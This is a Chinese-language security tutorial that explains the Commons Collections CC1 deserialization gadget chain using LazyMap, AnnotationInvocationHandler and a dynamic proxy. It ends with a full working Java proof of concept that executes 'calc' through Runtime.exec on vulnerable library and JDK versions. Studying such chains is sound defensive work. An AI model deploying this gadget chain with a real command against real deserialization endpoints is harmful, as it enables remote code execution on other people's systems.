[java安全]CommonsCollections1(LazyMap)

【java安全】CommonsCollections1(LazyMap)

前言

前面我们学习了cc1链使用TransformedMap构造，但是ysoserial使用的是LazyMap进行构造的，相对复杂一点

我们先复习一下：

LazyMap和TransformedMap都是在CommonsCollections模块中，我们想要测试首先需要创建maven项目，然后导入坐标

<dependency>
      <groupId>commons-collectionsgroupId>
      <artifactId>commons-collectionsartifactId>
      <version>3.2.1version>
dependency>

我们使用TransformedMap是通过触发checkSetValue()方法来触发ChainedTransformer类的transform()方法最终RCE

那么LazyMap是如何触发transform()方法呢？

LazyMap

我们查看LazyMap源码：

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

发现get()方法可以执行factory变量的transform()方法，而factory刚好是Transformer类型

所以只要创建一个LazyMap对象，factory传入ChainedTransformer对象，只要调用了LazyMap对象的get()方法，就可以RCE了

如何创建LazyMap对象？

我们可以使用decorate()方法：

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

参数：

• map参数可以传入一个空的HashMap对象
• factory 可以传入一个ChainedTransformer对象

如何调用LazyMap的get()方法？

我们之前触发 TransformedMap，是通过sun.reflect.annotation.AnnotationInvocationHandler执行setValue()触发TransformedMap的checkSetValue()函数执行transform()方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

那我们怎么触发TransformedMap#get()方法呢？

我们再看看sun.reflect.annotation.AnnotationInvocationHandler源码：

public Object invoke(Object var1, Method var2, Object[] var3) {
        ...
            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                ...
    }

这里我们注意到invoke()调用了this.memberValues变量的get()方法，而memberValues变量

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1; // var1是Annotation的子类
        this.memberValues = var2;
    }

是构造AnnotationInvocationHandler传入的第二个参数，如果我们将var2传入LazyMap对象，那么只要AnnotationInvocationHandler触发了invoke()方法，就可以调用LazyMap的get()方法

如何触发AnnotationInvocationHandler#invoke()方法？

可以使用java的动态代理机制，

我们创建一个AnnotationInvocationHandler对象，第二个参数传入LazyMap对象，对Map创建一个代理：

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);

然后只要随便使用proxyMap动态代理对象调用方法，就会触发 hander变量，即AnnotationInvocationHandler对象的invoke()方法，从而调用LazyMap的get()

问题又来了，怎么才能随便调用proxyMap动态代理对象的方法，并且使用readObject()反序列化的方式呢？

我们可以再次将proxyMap封装到AnnotationInvocationHandler中，因为它的readObject()方法存在函数调用：

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
		...
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

}

这里的this.memberValues就是proxyMap，他会调用entrySet()从而触发invoke()

POC

测试环境

• 3.1-3.2.1 jdk版本小于u71

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态代理类，设置一个D代理对象，为了触发 AnnotationInvocationHandler#invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

运行代码：

总结

讲到这里，整个一条链子算是清晰了起来：

->AnnotationInvocationHandler.readObject()
      ->proxyMap.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->…………

参考

CC链 1-7 分析

Java安全漫谈 - 11.反序列化篇(5)